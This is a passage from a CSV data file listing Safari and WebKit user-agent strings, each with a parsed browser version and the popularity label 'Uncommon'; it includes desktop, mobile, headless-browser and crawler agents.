(KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.6 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.6\",10.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; ko-kr) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 FBSMTWB\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/534.20.8 (KHTML, like Gecko) Version/5.1 Safari/534.20.8\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.4 (KHTML, like Gecko) Safari/601.6.17\",,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G35 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5 Zetakey/3.2\",5,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/602.4.8 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.0 Safari/534.34 Siteimprove (Accessibility)\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.2 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.2\",10.1,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/523.12 (KHTML, like Gecko) Version/3.0.4 Safari/523.12\",3,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.9 (KHTML, like Gecko) Safari/312.6\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Getter/0.1)\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.29 (KHTML, like Gecko) Version/10.1 Safari/603.1.29\",10.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 7_0_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53\",7,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F191 Safari/6533.18.5 electricmobilesimulator\",5,Uncommon\n\"Mozilla/5.0 (webOS/1.0; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Pre/1.0\",1.0,Uncommon\n\"Mozilla/5.0 (iPhone; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.1 Mobile/14F89 Safari/602.1\",10.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fr-fr) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 FBSMTWB\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.3 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.3\",10.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 (compatible; SemrushBot-SA/0.97; +http://www.semrush.com/bot.html)\",6,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit/604.4.5 (KHTML, like Gecko) Version/11.0 Mobile/15C5092b Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G21 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/600.4.10 (KHTML, like Gecko) Version/6.2.4 Safari/537.85.13\",6.2,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; Google Page Speed Insights) Version/8.0 Mobile/12F70 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.31 (KHTML, like Gecko) Version/11.0 Safari/604.1.31\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.6 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.6\",9.1,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.4.10 (KHTML, like Gecko) Version/8.0.4 Safari/600.4.10\",8,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A402 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.5\",10.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\",4,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F51a Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/9.0 Mobile/10A5355d Safari/8536.25\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; Google Page Speed Insights) Version/6.0 Mobile/10A525 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; it-it) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-us) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/602.1.32 (KHTML, like Gecko) Version/10.0 Mobile/14A5261v Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_1_3 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7E18 Safari/528.16\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/534.1+ (KHTML, like Gecko) Version/5.0 Safari/533.16\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.3 (KHTML, like Gecko) Version/10.0 Mobile/14C5062e Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 9_0_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A452 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8\",10.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/602.1.27 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.15\",9.1,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT/2.800) AppleWebKit/534.6 (KHTML, like Gecko) Version/5.0 Safari/534.6.3\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.27 (KHTML, like Gecko) Version/8.1 Safari/601.1.27\",8.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.4 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.4\",11,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; %lang2%) adbeat.com/policy AppleWebKit/531.21.10 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Coast/1.0.2.62956 Mobile/10B141 Safari/7534.48.3\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) WebClip/10603.2.5 Safari/10603.2.5\",,Uncommon\n\"Mozilla/5.0 (Windows XP Pro x64) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0.6 Safari/536.26\",6,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/10.0 Mobile/14A300 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) qjyBrowser/77618.1.15526 AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) WebClip/10601.5.17 Safari/10601.5.17.4\",,Uncommon\n\"Mozilla/5.0 (iPod; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A405 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Unknown; UNIX BSD/SYSV system) AppleWebKit/534.34 (KHTML, like Gecko) smtube/16.1.0 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (S3xyM0nk3y; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_2 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/10.1 Mobile/15A421 Safari/602.1\",10.1,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us; CMP741E) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/602.3.3 (KHTML, like Gecko) Version/10.0.2 Safari/602.3.3\",10,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 5_0 like Mac OS X; en-us) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.0.2 Mobile/9A5248d Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A4325c Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D5057a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/420+ (KHTML, like Gecko) Safari/419.3\",,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 11_1_2 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B202 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/601.5.8 (KHTML, like Gecko) Version/9.1 Safari/601.5.8\",9.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/602.3.12 (KHTML, like Gecko) Safari/522.0\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.5 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.5\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) WebClip/10601.6.11 Safari/10601.6.17\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit/604.4.6 (KHTML, like Gecko) Version/11.0 Mobile/15C5097d Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/6.2.8 Safari/537.85.17\",6.2,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/601.4.2 (KHTML, like Gecko) Version/9.0.3 Safari/601.4.2\",9,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5354b Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.5\",11,Uncommon\n\"Mozilla/5.0(iPad; U; CPU OS 4_3 like Mac OS X; %lang2%) adbeat.com/policy AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F191 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F91 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; es-es) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone Simulator; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9A334 Sangfulli Mobile Safari\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G12 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/602.4.2 (KHTML, like Gecko) Version/10.0.3 Safari/602.4.2\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.2\",4,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.2 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X; %lang2%) adbeat.com/policy AppleWebKit/534.46 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53\",7,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17\",9.1,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8\",5,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.2; es-US ) AppleWebKit/540.0 (KHTML like Gecko) Version/6.0 Safari/8900.00,6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19\",4,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E8301 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.2 (KHTML, like Gecko) Version/10.0 Mobile/14D10 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 6_0_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A550 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.28 (KHTML, like Gecko) Version/11.0 Safari/604.1.28\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.4 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.4\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.7 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.7\",10,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU like Mac OS X; en) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3A101a Safari/419.3\",3,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A5341a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B71 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\",5,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/531.22.7\",4,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_1_2 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7D11 Safari/528.16\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C5107a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.37 (KHTML, like Gecko) Version/9.0 Safari/601.1.37\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C5055d Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F68 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Windows; chromeframe/2.4.8.5746) AppleWebKit/1.0 (KHTML, like Gecko) Bromium Safari/1.0\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A4325c Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C107 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0 Mobile/14C89 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.6 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.6\",9,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 ( compatible; CloudServerMarketSpider/1.0; +http://cloudservermarket.com/spider.html )\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.5 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.5\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-us) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/538.34.48 (KHTML, like Gecko) Version/8.0 Safari/538.35.8\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16\",4,Uncommon\nSurf/0.4.1 (X11; U; Unix; en-US) AppleWebKit/531.2+ Compatible (Safari),,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Mobile/14D27 Safari Line/7.1.2\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.4 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.4\",9.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10\",3,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.54.16 (KHTML, like Gecko) Version/5.1.4 Safari/534.54.16\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) WebClip/10601.4.2 Safari/10601.4.4\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.5 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.5\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; HTC_PH39100/1.63.502.4; en-us) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.1 (KHTML, like Gecko) Version/11.0 Mobile/15D5037e Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.12 (KHTML, like Gecko) WebClip/10600.7.2 Safari/10600.7.12\",,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 11_0_2 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A421 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D14 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34\",,Uncommon\n\"\"\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1\"\"\",11,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H141 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_4 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8K2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E5260b Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) WebClip/11603.3.8 Safari/12603.3.8\",,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_0 like Mac OS X; en-us) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X; %lang2%) adbeat.com/policy AppleWebKit/534.46 (KHTML, like Gecko) Version/8.0 Mobile/9A334 Safari/7534.48.3\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) 